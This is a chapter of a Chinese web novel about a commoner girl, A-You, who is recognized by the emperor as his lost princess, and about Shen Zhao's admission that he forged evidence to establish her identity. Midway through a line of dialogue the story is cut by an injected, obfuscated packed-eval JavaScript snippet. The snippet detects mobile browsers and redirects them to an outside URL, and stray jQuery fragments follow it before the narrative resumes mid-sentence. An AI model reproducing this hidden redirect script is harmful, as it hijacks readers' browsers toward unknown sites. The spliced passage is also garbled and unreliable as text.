70. 公主
作品:《街隅公主归銮》 “圣上,万岁……”
明黄的大殿里,阿幼笔直的跪在殿前,屏风后隐约瞧得见人影,却迟迟未见动静。
阿幼等的心急,便又开口问道:“不知圣上唤民女来所为何事?”
话音刚落,屏风后传来声音:“若是旁人,这般问朕,此刻该拖出去杖毙。”
说这话时,对方语气平平,阿幼听不出是喜是怒,很少有谁能令阿幼如此惶恐,但他不是常人,他是这天下之主。
阿幼立马俯下身子,不敢再抬头看向屏风。
她紧张的说道:“是民女不知礼数,望圣上恕罪!”
屏风后传来脚步声,沉稳有力,似乎每一步都带着帝王独有的尊荣与淡然。
“可你不是旁人……”
声音逼近,当先入目的是一双金丝绣龙舄。
“你是朕的公主,是天丰的公主,抬起头来,让父皇好好瞧瞧。”
阿幼依言缓缓抬起头,她曾无数次想象过,皇帝长什么样,该是威武霸气,是操控生杀予夺,绝不会心慈手软的王者之气,可真的见到了,却发现与自己想象中的完全不同。
李慕慈于当年午门宫变后登基,距今已有十个年头,也是在那一场宫变中,年仅六岁的太子嫡女失踪,寻遍各地也没有什么消息。
“怎地这样瘦?”
他抬手捧着阿幼的下巴,手掌完全覆住她半张脸,“你与你母后长的果然像,看着你朕就忍不住想起你母后来……”
阿幼被他牵着手腕起身,“听扶光说,这一路走的十分辛苦,你的病一直未好,朕特意命太医为你好好调理,如今可好些了?”
“谢圣上体恤,已经好多了。”
“你该唤朕父皇……虽说见你之前早有预料,但实在没想到,你竟受了这么多苦,那沈扶光、程以德竟敢这般对待朕的公主,朕定要重罚他们。”
所谓君无戏言,若是等李慕慈真下了令,到时沈昭便要吃苦头了,阿幼连忙道:“是阿幼自己牵扯到刺史案中,他们也只是依律办事,圣上是明君,定不会迁怒无辜。”
“什么阿幼,陈阿幼已经死在了刺史案里,从今日起,你叫李商凝,是朕失而复得的公主,可记住了?”
“儿臣记住了。”
他忽然严肃地问:“方才,朕只一说,你就这般紧张,究竟是在紧张沈昭还是程良仁?”
阿幼听出了他的言外之意,这大概是在试探,不管她选谁,恐怕都会引起李慕慈的不满,皇帝既然认回了她,那么她往后的婚嫁便不会再自由,与人有私情这件事,无论是对她而言,还是对对方而言,都不是一件好事。
沉默片刻后,阿幼小心翼翼地回道:“儿臣不是紧张,只是不想连累旁人,左右都是儿臣的错,父皇要罚便罚儿臣吧。”
果然,李慕慈的面色缓和下来,语气也柔软了不少,“父皇怎会舍得罚凝儿,放心的,这事不再追究,晚些武阳侯府来人,你且先在武阳侯府住上两日,到时朕会昭告天下,公主失而复得,朕会亲自迎你回宫。”
……
李慕慈留阿幼在寝殿用了膳,约莫到了傍晚,武阳侯府才来了人。
来的不是旁人,正是沈昭。
阿幼坐在马车里,沈昭则骑着马在一侧引路。
他们一路上没说一句话,仿佛谁心里都压着块沉甸甸的石头,不知该如何开口。
到了武阳侯府,武阳侯沈霖与其夫人慕容芷皆在府外等候,虽说阿幼现在还并非真正的公主,但其公主的身份已然不言而喻。
与一年前相比,再次见到,武阳侯夫妇少了些慈爱与亲切,更多的是尊敬与疏离。
见到他们,阿幼心中是有些愧疚的,自己毁了沈昭的姻缘,害得沈昭到现在娶不了妻,生不了子,便是他们有些怨言,她也合该受着。
下车驾时,沈昭下意识上前一步,想抬手扶她。
阿幼直接无视了他,转而将手搭在了高怀德的手臂上。
李慕慈的近侍高怀德在场,若是她与沈昭有任何逾越之举,恐怕立马便会传到皇帝的耳中。
沈昭顿住步子收回了手。
“殿下当心。”
“多谢高公公。”
阿幼余光扫过沈昭的方向,他一言不发地愣在原地,不知在想些什么。
似是看出了些许不对劲,慕容芷解围道:“殿下舟车劳顿,快快入府歇息,臣妇已让下人备好了吃食。”
阿幼点了点头,说道:“多谢夫人。”
高怀德道:“殿下既已平安到了侯府,那老奴便回宫复命,若是有事,殿下派下人到东鼓楼传个信便可。”
高怀德走后,阿幼入了武阳侯府。
沈霖面对她除了该有的礼数,实在无话可说,不过好在有慕容芷主动嘘寒问暖,气氛倒显得不那么尴尬。
“夫人,我在父皇那儿用过膳了,不饿,只是现下有些累。”
“好,厢房已打扫干净,殿下早些歇息,有事可随时唤臣妇。”
慕容芷告退,行至门外见沈昭停在不远处,便询问道:“你还来作甚?”
“娘,您先回去,我有些话要与殿下说。”
慕容芷微微蹙眉,她着实不想自己的儿子再与这个来历不明的公主有任何牵扯,“还有什么可说的?她公主的身份已是板上钉钉的事,圣上绝不会答应这门婚事……”
沈昭淡然道:“儿子知晓。”
“那你还要去见?”
“要见,娘,这是我跟她的事,您莫管了。”
慕容芷深知自己儿子的脾气秉性,他决定的事,谁也阻拦不了,她叹了口气,说:“好,娘不管,只是,别忘了她的身份,莫要失了分寸。”
慕容芷离开后,沈昭失神的在门外站了许久,一时间,他竟不知该如何面对阿幼才好,是他亲手将她送上了这个位置,他不后悔,也料到了会有怎样的结果。
沈昭只是有些不知所措,这个身份就像山海阻隔在他们之间,他努力去翻过这山海,也未必能够触及她分毫。
可当时那种情况下,为了救她,他没有其他选择,只能这么做。
屋内,阿幼也在等,等他同自己解释,解释这些日子都发生了什么。
房门被推开时,阿幼正坐在屏风后的榻边。
沈昭望向那处的身影,顿了顿,问道:“殿下这些日子,过得还好吗?”
阿幼没答,她缓缓起身,绕过屏风,一步一步走到沈昭身边,抬眸望向他的双眼,问道:“沈大人觉得呢?”
沈昭垂眸打量她一番,温声道:“好像胖了些……”
“你……”阿幼咬了咬牙,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097814|155417||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“都什么时候了,还有心情打趣我。”
“难道殿下没有?”
阿幼生气的转过身背对他,双手叉腰,道:“你怎会知道我的身份?”
“猜测,你不是也猜到了?你的养父陈铎曾是圣上的侍卫,午门宫变后没有再出现过,与此同时,圣上唯一的嫡公主也不见了踪影,很难不将这两件事联系起来。”
阿幼转身问道:“当初在婺水,为了留下我,你说查到了一些线索,便是此事吧?”
其实关于陈铎之死,沈昭并没有查出什么,只是在东都时,无意间听人说起当年午门宫变一事,当时死了很多人,陈铎和唐裕也在那场宫变中失踪了。
宫变之前,东宫太子与掌兵权的武王争斗不休,先帝虽有疾,但还没到行将就木之时。
可当时身为东宫太子的李慕慈却等不及了,他设计让先帝身边的宫人传信给武王,说先帝命不久矣。
武王情急之下便想出来逼宫的法子,逼先帝传位与自己。
他召集人马自午门一路杀了进来,等进了先帝的寝殿才发现先帝早已断了气。
当下反应过来自己上了当,等他退出寝殿之时已经来不及了。
文武百官亲眼见他进了寝殿,出来后先帝便死了,弑父篡位的罪名他逃不掉。
除了李慕慈,没人知道先帝究竟是怎么死的。
料到武王会反,所以他提前向远在北境的叔父璋王请兵求援,又有战功赫赫的武阳侯为其保驾护航,拿下武王并不难。
那之后很长一段时间,李慕慈不愿再提及宫变一事。
比之以太子之位,名正言顺的继承大统,宫变实在不怎么光彩。
因而那场宫变上失踪的人,李慕慈并未再追究。
他一直以为是武王余孽带走了自己的女儿,没想到竟然是自己身边的侍卫。
阿幼疑惑地问他:“可这些也不过只是猜测,你随随便便带回一个女子,便说是圣上遗落民间的公主,圣上就信了?”
口说无凭,圣上自然不会信。
“有玉佩为证,又有陈铎亲笔手书。”
阿幼忽然想起来,难怪这一路上找不到玉佩,还以为是丢在了登天楼里,原来是被沈昭拿走了。
不过……
“我爹从未留下什么亲笔手书,哪来的?”
“这种东西伪造不就是了。”
阿幼瞪大了眼睛,她知道越发觉得沈昭有些疯狂,他温润的外表下压抑着的是一刻最不受拘束的内心。
“这是欺君。”饶是她一个自小在市井中摸爬滚打的人也知其中厉害,更别说沈昭这个朝堂之臣。
阿幼一把抓住他的衣领,问:“你不想活了?”
沈昭平静道:“陈铎和唐裕已死,这天底下与他们有交集之人唯有你,只要你认,这手书便是真的。此外,还有一点可以证明,你的容貌与先皇后有七分相似,只凭这一点,足以说明你就是公主。”
“我母后……”
沈昭回忆起幼时,说:“虽然幼时见过先皇后几面,但时间过了太久,早就记不大清,回东都后,我连忙查看了先皇后的画像,才发现,你们竟然长得这么相似。”
他上前一步,禁锢住阿幼的双臂,严肃道:“这个公主只能你来当。”
……